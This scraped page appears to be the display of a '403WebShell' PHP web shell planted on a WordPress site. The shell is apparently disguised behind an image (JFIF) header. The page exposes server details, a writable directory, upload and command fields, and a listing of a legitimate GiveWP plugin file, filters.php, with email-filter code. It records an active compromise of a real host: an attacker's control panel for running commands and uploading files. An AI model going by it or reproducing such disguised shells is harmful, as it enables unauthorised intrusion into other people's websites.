????JFIF??x?x????'403WebShell
403Webshell
Server IP : 104.21.112.1  /  Your IP : 216.73.216.145
Web Server : LiteSpeed
System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64
User : tempvsty ( 647)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/tempvsty/pontiacques.org/wp-content/plugins/give/includes/admin/emails/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/tempvsty/pontiacques.org/wp-content/plugins/give/includes/admin/emails/filters.php
<?php
/**
 * Filter for Email Notification
 *
 * @package     Give
 * @subpackage  Classes/Emails
 * @copyright   Copyright (c) 2016, GiveWP
 * @license     https://opensource.org/licenses/gpl-license GNU Public License
 * @since       2.0
 */

/**
 * Add extra row actions to email notification table.
 *
 * @since 2.0
 *
 * @param array                   $row_actions
 * @param Give_Email_Notification $email
 *
 * @return array
 */
function give_email_notification_row_actions_callback( $row_actions, $email ) {
	if ( Give_Email_Notification_Util::is_email_preview( $email ) ) {
		$preview_link = sprintf(
			'<a href="%1$s" target="_blank">%2$s</a>',
            esc_url(
                wp_nonce_url(
                    add_query_arg(
                        array(
                            'give_action' => 'preview_email',
                            'email_type'  => $email->config['id'],
                        ),
                        home_url()
                    ),
                    'give-preview-email'
                )
            ),
			__( 'Preview', 'give' )
		);

		$send_preview_email_link = give()->tooltips->render_link( [
			'tag_content' => esc_html__( 'Send test email', 'give' ),
			'label'       => sprintf(
				esc_html__( 'Click this link to send a test email to yourself at %s', 'give' ),
				wp_get_current_user()->user_email
			),
			'link'        => esc_url_raw(wp_nonce_url(
				add_query_arg(
					array(
						'give_action'     => 'send_preview_email',
						'email_type'      => $email->config['id'],
						'give-messages[]' => 'sent-test-email',
					)
				),
				'give-send-preview-email'
			))
		] );

		$row_actions['email_preview']      = $preview_link;
		$row_actions['send_preview_email'] = $send_preview_email_link;
	}

	return $row_actions;
}
add_filter( 'give_email_notification_row_actions', 'give_email_notification_row_actions_callback', 10, 2 );

/**
 * This help to decode all email template tags.
 *
 * @since 2.0
 *
 * @param string      $message
 * @param Give_Emails $email_obj
 *
 * @return string
 */
function give_decode_email_tags( $message, $email_obj ) {
	if ( ! empty( $email_obj->tag_args ) ) {
		$message = give_do_email_tags( $message, $email_obj->tag_args );
	}

	return $message;
}

add_filter( 'give_email_message', 'give_decode_email_tags', 10, 2 );

Youez - 2016 - github.com/yon3zu
LinuXploit